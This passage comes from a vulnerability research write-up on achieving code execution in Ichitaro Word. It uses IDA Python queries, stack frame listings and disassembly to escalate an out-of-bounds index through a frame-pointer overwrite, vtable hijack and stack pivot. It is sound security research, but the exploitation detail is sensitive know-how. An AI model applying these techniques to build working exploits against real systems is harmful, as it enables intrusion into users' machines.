<class 'structure' name='JSVDA::object_OSEG' size=0x10>         # [alloc.tag] OSEG

Python> struc.by('JSVDA::object_OSEG').members
<class 'structure' name='JSVDA::object_OSEG' size=0x10>         # [alloc.tag] OSEG
[0]  0+0x4               int 'p_vftable_0' (<class 'int'>, 4)   # [vftable] 0x27818738
[1]  4+0xc object_OSEG::data 'v_data_4'    <class 'structure' name='object_OSEG::data' offset=0x4 size=0xc>

Python> struc.by('JSVDA::object_OSEG').members[1].type.members
<class 'structure' name='object_OSEG::data' offset=0x4 size=0xc>
[0]  4+0x4     int 'v_bucketIndex_0'    (<class 'int'>, 4)
[1]  8+0x8 __int64 'v_currentOffset?_4' (<class 'int'>, 8)

This listing shows the layout of the object used to read data from the stream. As listed, the object has only one field which is the index or handle for the document. Due to the lack of ASLR, we could overwrite one of the virtual method tables that are referenced by this object. However, the only methods that the application uses from this object are used by the same record implementation to parse it. Anything we overwrite will immediately break this object and prevent the application from loading any more data from the document.

Examining the stack also shows that there are not any useful pointers other than one to a global object which is initialized statically and is thus scoped to the application. However, there are frame pointers on the stack that may be used. We will only need to discover a relative reference to one to use it. Due to the nature of how code is executed, we can assume that everything within our vulnerability’s context originates from a caller farther up the stack. Hence, it is either copied out of the heap belonging to another component, entered our scope via some global state, or enters scope as a parameter. We will also need to keep in mind that we are only able to write a 32-bit integer at +0x58, 16-bit integers between +0x34 and +0x60, or a pointer to a structure containing a string at +0x4C relative to our chosen pointer. Hence, we will need to search to find a reference to a frame that allows us to hijack execution within these constraints. 

If we capture the call stack at the point of the vulnerability being triggered, we can grab the layout of each frame, and use it to identify any fields that are +0x58 for case 7, or +0x4C - 4 for case 5.

Python> callstack = [0x3be11d03, 0x3be27501, 0x3be278b2, 0x3be2793e, 0x3c1fb083, 0x3c1fb495, 0x3c1fb4ef, 0x3be2795d]
Python> list(map(function.address, callstack))
[0x3be11906, 0x3be27048, 0x3be276be, 0x3be2790a, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]

# Exchange each address in the backtrace with the function that owns it.
Python> functions = list(map(function.address, callstack))
Python> pp(list(map(function.name, functions)))
['object_9d0d30::readStyleType(2008)_391906',
 'struc_3a9de4::parseStylesContent_3a7048',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentViewStyles)_3a790a',
 'object_9c2044::method_processStreams_77af0f',
 'object_9c2044::vmethod_processStreamsTwice_77b3ed',
 'object_9e9d90::processDocumentByType_77b4ab',
 'sub_3BE27954']

# Grab the frame for each function and align them contiguously.
Python> frames = list(map(func.frame, functions))
Python> contiguous = struc.right(frames[-1], frames[-1:])

# Display all frame pointers along with the offset needed to overwrite them.
Python> for frame in contiguous: print("{:#x} : {}".format(frame.byname(' s').offset - 0x58, frame.byname(' s')))
-0x640 : <member '$ F3BE11906. s' index=22 offset=-0x5e8 size=+0x4 typeinfo='char[4]'>
-0x608 : <member '$ F3BE27048. s' index=3 offset=-0x5b0 size=+0x4 typeinfo='char[4]'>
-0x55c : <member '$ F3BE276BE. s' index=25 offset=-0x504 size=+0x4 typeinfo='char[4]'>
-0x53c : <member '$ F3BE2790A. s' index=0 offset=-0x4e4 size=+0x4 typeinfo='char[4]'>
-0x2cc : <member '$ F3C1FAF0F. s' index=9 offset=-0x274 size=+0x4 typeinfo='char[4]'>
-0x9c : <member '$ F3C1FB3ED. s' index=3 offset=-0x44 size=+0x4 typeinfo='char[4]'>
-0x78 : <member '$ F3C1FB4AB. s' index=0 offset=-0x20 size=+0x4 typeinfo='char[4]'>
-0x60 : <member '$ F3BE27954. s' index=0 offset=-0x8 size=+0x4 typeinfo='char[4]'>

# Gather them into a set.
Python> offsets = set(item.byname(' s').offset - 0x58 for item in contiguous)

# Display each frame and any of its members that contain one of the determined offsets.
Python> for frame in contiguous: print(frame), frame.members.list(offset=offsets), print()
<class 'structure' name='$ F3BE11906' offset=-0x6ac size=0xe4>
[20] -63c+0x50         wchar_t[40] 'lv_wstring(28)_54'  [(<class 'int'>, 2), 40]

<class 'structure' name='$ F3BE27048' offset=-0x5c8 size=0x38>

<class 'structure' name='$ F3BE276BE' offset=-0x590 size=0xa8>
[12] -55c:+0x4           int 'var_58'      (<class 'int'>, 4)
[20] -53c:+0x28 struc_3a9de4 'lv_struc_38' <class 'structure' name='struc_3a9de4' offset=-0x53c size=0x28>  # [note] Wanted object

<class 'structure' name='$ F3BE2790A' offset=-0x4e8 size=0x18>

<class 'structure' name='$ F3C1FAF0F' offset=-0x4d0 size=0x278>
[7]  -4a0+0x228           object_2f27f8 'lv_object_22c'      <class 'structure' name='object_2f27f8' offset=-0x4a0 size=0x228>

<class 'structure' name='$ F3C1FB3ED' offset=-0x258 size=0x230>
[1] -248+0x200        wchar_t[256] 'lv_wstring_204'    [(<class 'int'>, 2), 256]

<class 'structure' name='$ F3C1FB4AB' offset=-0x28 size=0x20>

<class 'structure' name='$ F3BE27954' offset=-0x8 size=0x18>

From this listing, we have only five results, only two of which appear to be pointing to a field that may be referenced. This number of results is small enough to verify manually and we discover that the field, lv_struc_38, which begins at exactly 0x58 bytes from a frame pointer is perfect for our 32-bit write. This field belongs to the frame for the function at 0x3BE276BE which is the method named object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. Examining the prototypes of the functions called by this method shows that the object appears to only be used by a single method.

# Grab all of the calls for function 0x3BE276BE that do not use a register as its operand.
Python> calls = {ins.op_ref(ref) for ref in function.calls(0x3BE276BE) if not isinstance(ins.op(ref), register_t)}

# List all functions that we selected.
Python> db.functions.list(typed=True, ea=calls)
[0]  +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a          : lvars:1c args:2 refs:100  exits:1
[1]  +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ :    __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:00 args:5 refs:182  exits:1
[2]  +0x132a07 : 0x3bbb2a07..0x3bbb2a15 : (1) Fvt+ :    __cdecl object_OSEG::destroy_132a07                  : lvars:00 args:1 refs:270  exits:1
[3]  +0x132de4 : 0x3bbb2de4..0x3bbb2e41 : (1) FvT+ :    __cdecl object_OFRM::openStreamByName?_132de4        : lvars:08 args:4 refs:144  exits:1
[4]  +0x1a9adb : 0x3bc29adb..0x3bc29bff : (1) FvD+ : __thiscall sub_3BC29ADB                                 : lvars:68 args:1 refs:7    exits:1
[5]  +0x1cbf85 : 0x3bc4bf85..0x3bc4c3f2 : (1) FvD+ : __thiscall sub_3BC4BF85                                 : lvars:6c args:2 refs:6    exits:1
[6]  +0x1d5697 : 0x3bc55697..0x3bc558b7 : (1) FvD+ : __thiscall object_9bd120::method_1d5697                 : lvars:8c args:1 refs:6    exits:1
[7]  +0x2198ca : 0x3bc998ca..0x3bc9998f : (1) FvD+ : __thiscall sub_3BC998CA                                 : lvars:28 args:4 refs:38   exits:1
[8]  +0x3a7048 : 0x3be27048..0x3be27664 : (1) FvT+ : __thiscall struc_3a9de4::parseStylesContent_3a7048      : lvars:18 args:7 refs:2    exits:1
[9]  +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ :    __cdecl object_OSEG::read_ushort_3a7664              : lvars:1c args:2 refs:90   exits:1
[10] +0x3a9547 : 0x3be29547..0x3be2955d : (1) FvD+ : __thiscall sub_3BE29547                                 : lvars:00 args:3 refs:5    exits:1
[11] +0x3a9638 : 0x3be29638..0x3be2963b : (1) FvD+ :  __unknown return_3a9638                                : lvars:00 args:0 refs:30   exits:1
[12] +0x3a9de4 : 0x3be29de4..0x3be29e05 : (1) FvD* : __thiscall constructor_3a9de4                           : lvars:00 args:1 refs:7    exits:1
[13] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6          : lvars:1c args:2 refs:36   exits:1
[14] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07          : lvars:1c args:2 refs:98   exits:1
[15] +0x8ea4fd : 0x3c36a4fd..0x3c36a50e : (1) LvD+ :  __unknown __EH_epilog3_GS                              : lvars:00 args:0 refs:2546 exits:0

# Grab all our results that are typed, and emit their prototype.
Python> for ea in db.functions(tag='__typeinfo__', ea=calls): print(function.tag(ea, '__typeinfo__'))
object_9bd184 *__thiscall object_10cbd2::get_field(3c)_109b2a(object_10cbd2 *this, __int16 avw_0)
int __cdecl object_OSEG::setCurrentStreamPosition_1329ce(JSVDA::object_OSEG *ap_oseg_0, int av_low_4, int av_high_8, int av_reset?_c, __int64 *ap_resultOffset_10)
int __cdecl object_OSEG::destroy_132a07(JSVDA::object_OSEG *ap_oseg_0)
int __cdecl object_OFRM::openStreamByName?_132de4(JSVDA::object_OFRM *ap_oframe_0, char *ap_streamName_4, int av_flags_8, JSVDA::object_OSEG **)
int __thiscall sub_3BC29ADB(object_9bd0e4 *this)
int __thiscall sub_3BC4BF85(object_9bd184 *this, int a2)
int __thiscall object_9bd120::method_1d5697(object_9bd120 *this)
int __thiscall sub_3BC998CA(object_9bd0e4 *this, int av_length_0, int av_field_4, int av_neg1_8)
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
int __cdecl object_OSEG::read_ushort_3a7664(JSVDA::object_OSEG *ap_this_0, _WORD *ap_result_4)
_DWORD *__thiscall sub_3BE29547(_DWORD *this, __int16 arg_0, int arg_4)
void return_3a9638()
struc_3a9de4 *__thiscall constructor_3a9de4(struc_3a9de4 *this)
object_9bd120 *__thiscall object_10cbd2::get_field(38)_7b15a6(object_10cbd2 *this, __int16 avw_noCreate_0)
object_9bd0e4 *__thiscall object_10cbd2::get_field(34)_7b9e07(object_10cbd2 *this, __int16)
void __EH_epilog3_GS)

# Only this prototype references our object as its "this" parameter.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)

From the results in the listing, it seems that the struc_3a9de4::parseStylesContent_3a7048 method references our desired type as its this parameter. During review of the struc_3a9de4::parseStylesContent_3a7048 method, the object represented by this is stored in the %edi register. Our goal is now to find a pointer to this structure either by being directly referenced or through the %edi register from this method. To find a candidate, we can manually walk from the call stack and enumerate all the places where the type is used, or we can utilize a debugger to monitor the places that reference anything within the structure. Fortunately, our search space is relatively small and we can easily find it in the following listing.

.text:3BE27048 000                 push    ebp
.text:3BE27049 004                 mov     ebp, esp
.text:3BE2704B 004                 sub     esp, 0Ch
.text:3BE2704E 010                 and     [ebp+lv_result_4], 0
.text:3BE27052 010                 push    ebx
.text:3BE27053 014                 mov     ebx, [ebp+ap_oseg_0]                             ; parameter: struc_3a9de4 *this
...
.text:3BE274D4     loc_3BE274D4:
.text:3BE274D4 01C                 mov     ecx, [ecx+object_9c2044.v_data_290.p_object_84]
.text:3BE274DA 01C                 mov     eax, [ecx+object_9c2d50.v_data_4.p_object_60]
.text:3BE274DD 01C                 test    eax, eax
.text:3BE274DF 01C                 jnz     short loc_3BE274EE
.text:3BE274E1 01C                 call    object_9c2d50::create_field(64)_6bf3a6
.text:3BE274E6 01C                 test    eax, eax
.text:3BE274E8 01C                 jz      loc_3BE27625
.text:3BE274EE
.text:3BE274EE     loc_3BE274EE:
.text:3BE274EE 01C                 lea     ecx, [ebp+lv_result_4]
.text:3BE274F1 01C                 push    ecx
.text:3BE274F2 020                 push    dword ptr [ebp+ap_unkobjectunion_10]
.text:3BE274F5 024                 mov     ecx, eax
.text:3BE274F7 024                 push    [edi+struc_3a9de4.v_documentType_8]
.text:3BE274FA 028                 push    [ebp+ap_oseg_0]
.text:3BE274FD 02C                 push    [edi+struc_3a9de4.v_header_long_4]
.text:3BE27500 030                 push    ebx                                              ; pushed onto stack
.text:3BE27501 034                 call    object_9d0d30::readStyleType(2008)_391906
.text:3BE27506 01C                 jmp     loc_3BE2736F

If we examine the caller of the object_9d0d30::readStyleType(2008)_391906, and traverse backward from it, the first call instruction that we encounter calls a method named object_9c2d50::create_field(64)_6bf3a6. This method is also called on the condition that a field, object_9c2d50::v_data_4::p_object_60 is initialized as zero. The relevant path from the beginning of the encompassing method to the conditionally called method is shown in the prior listing.

Due to both the object_9c2d50::create_field(64)_6bf3a6 and object_9d0d30::readStyleType(2008)_391906 functions being called by the same function, their frames are guaranteed to overlap. We aim to identify a function that preserves the %edi register as part of its prolog by performing a breadth-first search from the struc_3a9de4::parseStylesContent_3a7048 method and using the results to build a list of candidate call stacks that could be filtered.

The following listing combines the call stack from the scope of the vulnerability to identify the candidate range to use when filtering the results. In this listing, the range is from -0xAC to -0x58. By applying this filter to our candidates, we discover that the prolog for function 0x3BDFD8F8 stores several registers within this range. One of these registers is our desired %edi register, which is at offset -0xA4 in our listing. This overlaps with the lv_wstring(28)_54 field belonging to our vulnerable function's frame.

# Assign the callstacks that we will be comparing.
callstack_for_vulnerability =                           [0x3be11906, 0x3be27048]
callstack_for_conditional =     [0x3c36a51f, 0x3bdfd8f8, 0x3c13f3a6, 0x3be27048]

# Print out the first layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[<class 'structure' name='$ F3BE11906' offset=-0x11c size=0xe4>
     -11c+0x10                                          [None, 16]
[0]  -10c+0x4                  int 'var_B4'             (<class 'int'>, 4)
[1]  -108+0x4                  int 'var_B0'             (<class 'int'>, 4)
[2]  -104+0x2              __int16 'var_AC'             (<class 'int'>, 2)
...
[8]   -c+0x4                 int 'av_currentStreamState?_c' (<class 'int'>, 4)      # [note] usually 2, and seems to be only used during function exit
[9]   -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10'     <class 'union' name='frame_3a7048_arg_10' offset=-0x8 size=0x4>
[10]  -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14'           <class 'union' name='frame_3a7048_arg_14' offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010

# Print out the second layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_conditional)))]
[<class 'structure' name='$ F3C36A51F' offset=-0x98 size=0x8>
[0] -98+0x4 char[4] ' r'    [(<class 'int'>, 1), 4]
[1] -94+0x4     int 'arg_0' (<class 'int'>, 4), <class 'structure' name='$ F3BDFD8F8' offset=-0x90 size=0x30>
    -90+0x10                      [None, 16]
[0] -80+0x4      int 'var_10'     (<class 'int'>, 4)
...
[5]  -18+0x4 JSVDA::object_OSEG* 'ap_oseg_0'                (<class 'type'>, 4)
[6]  -14+0x4                 int 'av_position(lo)_4'        (<class 'int'>, 4)
[7]  -10+0x4                 int 'av_position(hi)_8'        (<class 'int'>, 4)
[8]   -c+0x4                 int 'av_currentStreamState?_c' (<class 'int'>, 4)      # [note] usually 2, and seems to be only used during function exit
[9]   -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10'     <class 'union' name='frame_3a7048_arg_10' offset=-0x8 size=0x4>
[10]  -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14'           <class 'union' name='frame_3a7048_arg_14' offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010

# Emit the members from the vulnerability's backtrace that are worth dereferencing.
Python> [frame.members.list(bounds=(-0xc4, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[19] -c4:+0x18 object_9d15a0*[6] 'lv_objects(6)_6c'  [(<class 'type'>, 4), 6]
[20] -ac:+0x50       wchar_t[40] 'lv_wstring(28)_54' [(<class 'int'>, 2), 40]
[21] -5c:+0x4                int 'var_4'             (<class 'int'>, 4)

# Emit the members within the other backtrace that overlaps "lv_wstring(28)_54".."var_4".
Python> [frame.members.list(bounds=(-0xac, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_conditional))]
[2] -ac:+0x4     int 'var_14'        (<class 'int'>, 4)
[3] -a8:+0x4     int 'lv_canary_10'  (<class 'int'>, 4)
[4] -a4:+0x4     int 'lv_reg(edi)_c' (<class 'int'>, 4)
[5] -a0:+0x4     int 'lv_reg(esi)_8' (<class 'int'>, 4)
[6] -9c:+0x4     int 'lv_reg(ebx)_4' (<class 'int'>, 4)
[7] -98:+0x4 char[4] ' r'            [(<class 'int'>, 1), 4]
[8] -94:+0x4     int 'arg_0'         (<class 'int'>, 4)
[0] -80:+0x4     int 'var_10'     (<class 'int'>, 4)
[1] -74:+0x4     int 'var_4'      (<class 'int'>, 4)
[2] -70:+0x4 char[4] ' s'         [(<class 'int'>, 1), 4]
[3] -6c:+0x4 char[4] ' r'         [(<class 'int'>, 1), 4]
[4] -68:+0x4     int 'ap_owner_0' (<class 'int'>, 4)
[5] -64:+0x4     int 'ap_owner_4' (<class 'int'>, 4)

There is a caveat, however, due to the object_9c2d50::create_field(64)_6bf3a6 method only being called when the object_9c2d50.v_data_4.p_object_60 field is initialized with 0x00000000. Hence, we will use the decompiler to locate all known global references to this field within our scope and use them to determine if there is some way that we may initialize this value.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Unfortunately from these results, it turns out that the object_9c2d50.v_data_4.p_object_60 field is only initialized upon entry and exit and requires that this object is not constructed by any of the other record types. Verifying this using the debugger shows that this condition prevents us from using any of the other available record types that were necessary to leverage this path.

However, there are still more candidates we can go through. Another is at the first function call inside struc_3a9de4::parseStylesContent_3a7048. This descends into the struc_3a9de4::readBoxHeader?_3a6fae function, which then depends on a method defined within the JSVDA.DLL library. The prolog of this method also pushes the %edi register onto the stack. If we set a memory access breakpoint on writing to this address and modify our document to avoid hitting any of the other conditionals that we’ve identified within the function, we can confirm that the preserved reference to lv_struc_38 is accessible to us within our desired range. 

Finally, we’ve been able to expand the capabilities of our vulnerability, which was originally an out-of-bounds array index, to a relative dereference with a 32-bit write. Then we reused some of the capabilities within the function that contained the vulnerability to promote the vulnerability into an arbitrary length write to an absolute address. Afterward, we leveraged the control flow to allow us to perform a frame-pointer overwrite for the frame preserved by the object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 method which belongs to its caller, the object_9c2044::method_processStreams_77af0f method. After the application has parsed our steam and returns to this method, we should have control of the frame pointer and the method’s local variables as a consequence. This should enable us to hijack execution more elegantly and still allow us to repair the damage that we’ve done with our vulnerability.

Hijacking frame pointer

Once we’ve developed the ability to control a frame pointer for a method that is still within our scope of processing our document, we can examine the frame and determine what might be available for us to modify with our present capabilities. The frame that we’ve overwritten in the prior section shows that we'll be able to control only a few variables. Unfortunately, at this point, the stream that we used to exercise the vulnerability has been closed, and if we tamper with this frame directly and the method ends up completing execution, the epilog of the function will fail due to its canary check resulting in fast-termination and process exit.

# List the frame belonging to the caller of the function containing the vulnerability.
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>
[0]  -264+0x4                       int 'var_25C'            (<class 'int'>, 4)
[1]  -260+0x4                       int 'var_258'            (<class 'int'>, 4)
[2]  -25c+0x4                       int 'var_254'            (<class 'int'>, 4)
[3]  -258+0x4                       int 'var_250'            (<class 'int'>, 4)
[4]  -254+0x18  frame_77af0f::field_24c 'lv_struc_24c'       <class 'structure' name='frame_77af0f::field_24c' offset=-0x254 size=0x18>
[5]  -23c+0x4                       int 'lp_stackObject_234' (<class 'int'>, 4)
[6]  -238+0x4       JSVDA::object_OFRM* 'lp_oframe_230'      (<class 'type'>, 4)
[7]  -234+0x228           object_2f27f8 'lv_object_22c'      <class 'structure' name='object_2f27f8' offset=-0x234 size=0x228>
[8]    -c+0x4                       int 'lv_result_4'        (<class 'int'>, 4)
[9]    -8+0x4                   char[4] ' s'                 [(<class 'int'>, 1), 4]
[10]   -4+0x4                   char[4] ' r'                 [(<class 'int'>, 1), 4]
[11]    0+0x4       JSVDA::object_OFRM* 'ap_oframe_0'        (<class 'type'>, 4)
[12]    4+0x4              unsigned int 'av_documentType_4'  (<class 'int'>, 4)
[13]    8+0x4              unsigned int 'av_flags_8'         (<class 'int'>, 4)
[14]    c+0x4             struc_79aa9a* 'ap_stackobject_c'   (<class 'type'>, 4)
[15]   10+0x4                       int 'ap_null_10'         (<class 'int'>, 4)

# The object located at offset -0x238 of the frame.
<class 'structure' name='JSVDA::object_OFRM' size=0x8> // [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (<class 'int'>, 4) // [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4'   (<class 'int'>, 4) // {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM', '__name__': 'v_index_4'}

This listing shows the contents of the object that we’ll be using. As previously mentioned, it contains a single field and is used to read from the document. This field is an integer representing an index into an array of objects within an entirely different module. Each object from this external array is an opened document which varies depending on the usage of the application. Hence, this field can be treated as a handle that might not be forgeable without knowledge of the contents of the module or the actions the user has already made.

However, we do have control of this object’s virtual method table reference, and since we haven't completely broken the application yet, we can capture the handle from elsewhere and use it to re-forge this object at a later stage once we've earned control of the stack. After this, we can then repair the frame during our loader to remain in good standing with the application.

.text:3C1FB1B6     loc_3C1FB1B6:
.text:3C1FB1B6 260                 push    [ebp+av_flags_8]
.text:3C1FB1B9 264                 mov     eax, [ebp+av_flags_8]
.text:3C1FB1BC 264                 push    ecx
.text:3C1FB1BD 268                 and     eax, 800h
.text:3C1FB1C2 268                 mov     ecx, esi
.text:3C1FB1C4 268                 push    ebx
.text:3C1FB1C5 26C                 mov     [ebp+lv_struc_24c.field_14], eax
.text:3C1FB1CB 26C                 call    object_9c2044::parseStream(DocumentViewStyles)_3a790a ; [note.exp] define some styles, ensure everything is initialized.
.text:3C1FB1D0 260                 mov     ebx, eax
.text:3C1FB1D2 260                 cmp     ebx, edi
.text:3C1FB1D4 260                 jnz     loc_3C1FAFD2

.text:3C1FB1DA 260                 push    [ebp+av_flags_8]
.text:3C1FB1DD 264                 mov     ecx, esi
.text:3C1FB1DF 264                 push    [ebp+av_documentType_4]
.text:3C1FB1E2 268                 push    [ebp+lp_oframe_230]
.text:3C1FB1E8 26C                 call    object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 ; [note.exp] hijack frame pointer here
.text:3C1FB1ED 260                 mov     ebx, eax
.text:3C1FB1EF 260                 cmp     ebx, edi
.text:3C1FB1F1 260                 jnz     loc_3C1FAFD2

.text:3C1FB1F7 260                 push    [ebp+lp_stackObject_234]
.text:3C1FB1FD 264                 mov     ecx, [esi+2D8h] ; this
.text:3C1FB203 264                 push    [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268                 push    [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C                 push    [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270                 call    object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
.text:3C1FB214 264                 mov     ebx, eax
.text:3C1FB216 264                 cmp     ebx, edi
.text:3C1FB218 264                 jnz     loc_3C1FAFD2

The first place we'll be able to hijack execution is when the object owning the virtual method table that we’re taking control of is used to open up the next stream. The code that is listed shows the scope during which we control the frame pointer. In our exploit, this is where we hijack execution and completely pivot to a stack that we control to complete the necessary tasks for loading executable code into the address space. 

.text:3C1FB1F7 260                 push    [ebp+lp_stackObject_234]
.text:3C1FB1FD 264                 mov     ecx, [esi+2D8h] ; this
.text:3C1FB203 264                 push    [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268                 push    [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C                 push    [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270                 call    object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
\
.text:3C1F8971 000                 push    0A4h
.text:3C1F8976 004                 mov     eax, offset byte_3C3CCE1A
.text:3C1F897B 004                 call    __EH_prolog3_catch_GS
.text:3C1F8980 0C4                 mov     edi, ecx
.text:3C1F8982 0C4                 mov     [ebp+lp_this_64], edi
...
.text:3C1F89B1 0C4                 lea     eax, [ebp+lp_stream_50]
.text:3C1F89B4 0C4                 push    eax
.text:3C1F89B5 0C8                 push    ebx
.text:3C1F89B6 0CC                 call    object_FRM::getStream(GroupingFileName)_1b974d
\
.text:3BC3974D 000                 push    ebp
.text:3BC3974E 004                 mov     ebp, esp
.text:3BC39750 004                 push    [ebp+ap_result_4] ; JSVDA::object_OSEG **
.text:3BC39753 008                 push    10h             ; av_flags_8
.text:3BC39755 00C                 push    offset str.GroupingFileName ; [OpenStreamByName.reference] 0x3bc3975d
.text:3BC3975A 010                 push    [ebp+ap_oframe_0] ; ap_oframe_0
.text:3BC3975D 014                 call    object_OFRM::openStreamByName?_132de4
\
.text:3BBB2DE4 000                 push    ebp
.text:3BBB2DE5 004                 mov     ebp, esp
.text:3BBB2DE7 004                 push    ecx
.text:3BBB2DE8 008                 mov     eax, ___security_cookie
.text:3BBB2DED 008                 xor     eax, ebp
.text:3BBB2DEF 008                 mov     [ebp+var_4], eax
...
.text:3BBB2E1D     loc_3BBB2E1D:
.text:3BBB2E1D 00C                 push    [ebp+ap_result_c]
.text:3BBB2E20 010                 mov     ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010                 push    0
.text:3BBB2E25 014                 push    [ebp+av_flags_8]
.text:3BBB2E28 018                 mov     edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] this is ours
.text:3BBB2E2A 018                 push    0
.text:3BBB2E2C 01C                 push    eax
.text:3BBB2E2D 020                 push    ecx
.text:3BBB2E2E 024                 call    dword ptr [edx+10h] ; [note.exp] branch here
\
; int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
.text:277CB5C5     object_OFRM::method_openStream_2b5c5 proc near
.text:277CB5C5
.text:277CB5C5 000                 push    ebp
.text:277CB5C6 004                 mov     ebp, esp
.text:277CB5C8 004                 push    ecx
.text:277CB5C9 008                 push    ecx
.text:277CB5CA 00C                 push    ebx
.text:277CB5CB 010                 mov     ebx, [ebp+ap_result_14]
...

In the listing, we descend through the different methods that get called during execution until we reach a virtual method named JSVDA::object_OFRM::method_openStream_2b5c5. This method is dereferenced and then called to open up the next stream from the document. This is the virtual method that we will be using to hijack execution.

The JSVDA::object_OFRM::method_openStream_2b5c5 virtual method belongs to the JSVDA.DLL module and takes six parameters before being called. This will need to be taken into account during our repurposing. As the stack will be adjusted by the implementation pushing said parameters and the preserved return address onto the stack, we will be required to include this adjustment in our new frame.

At this point, we have everything we need to execute code. However, we’ll need some way to resume execution after our instructions have been executed. To accomplish this, we’ll need to pivot the stack to one that we control. Generally, there are two ways in which we can pivot the stack. One way is to find a predictable address that we can write the addresses into, and then use a pivot that lets us perform an explicit assignment of that address to the %esp register. Another way is to adjust the %esp register to reference a part of the stack where we control its contents. To avoid having to write another contiguous chunk of data to a some known location using the vulnerability, the latter methodology was chosen as the primary candidate.

Pivoting Stack Pointer

Although we control a frame pointer and can use it to assign an arbitrary value to the instruction pointer, we do not have a clear way to execute multiple sequences of instructions to load executable code from our document. Hence, we need some way to set the stack pointer to a block of memory that we can use to resume execution after executing each chunk required to load our payload.

As mentioned previously, the vulnerability occurs within the very first stream that is parsed by the target. Hence, due to our document not being able to influence much in the application, it is necessary to find logic within the stream parser to satisfy our needs. As we’re attempting to execute code residing at multiple locations within a module, we’ll need some logic within the stream parsing implementation that can be used to load a large amount of our data into the application’s stack. To discover this, we can use a quick script at the entry point of the style record parser to enumerate all of the functions being called and identify the ones that have the large size allocated for its frame.

In the following query, it appears that object_9c2044::readStyleType(1000)_4d951d is a likely candidate. Through manual reversing of the method, we can prove that its implementation allocates 0x18C8 bytes on the stack and reads 0x1000 bytes from its associated record directly into this allocated buffer.

# Grab the address of the function containing the different cases for record parsing
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')

# List all functions that are called that also have a frame.
Python> db.functions.list(frame=True, ea=[ins.op_ref(oref) for oref in func.calls(f) if 'x' in oref])
[0]  +0x0b8d12 : 0x3bb38d12..0x3bb38d71 : (1) FvD+ : __thiscall object_9c2d50::get_field(180)_b8d12                  : lvars:001c args:2 refs:7   exits:1
[1]  +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a                  : lvars:001c args:2 refs:100 exits:1
[2]  +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ :    __cdecl object_OSEG::setCurrentStreamPosition_1329ce         : lvars:0000 args:5 refs:182 exits:1
[3]  +0x1b6bf7 : 0x3bc36bf7..0x3bc36d66 : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1000)_1b6bf7            : lvars:0044 args:4 refs:1   exits:1
[4]  +0x1b8cd2 : 0x3bc38cd2..0x3bc38d0b : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1001)_1b8cd2            : lvars:0004 args:4 refs:1   exits:1
[5]  +0x1b8f99 : 0x3bc38f99..0x3bc39723 : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1b8f99            : lvars:00a0 args:7 refs:2   exits:1
[6]  +0x1cdcf6 : 0x3bc4dcf6..0x3bc4df7b : (1) FvD* : __thiscall object_9bd184::readStyleType(2002)_1cdcf6            : lvars:0040 args:5 refs:1   exits:1
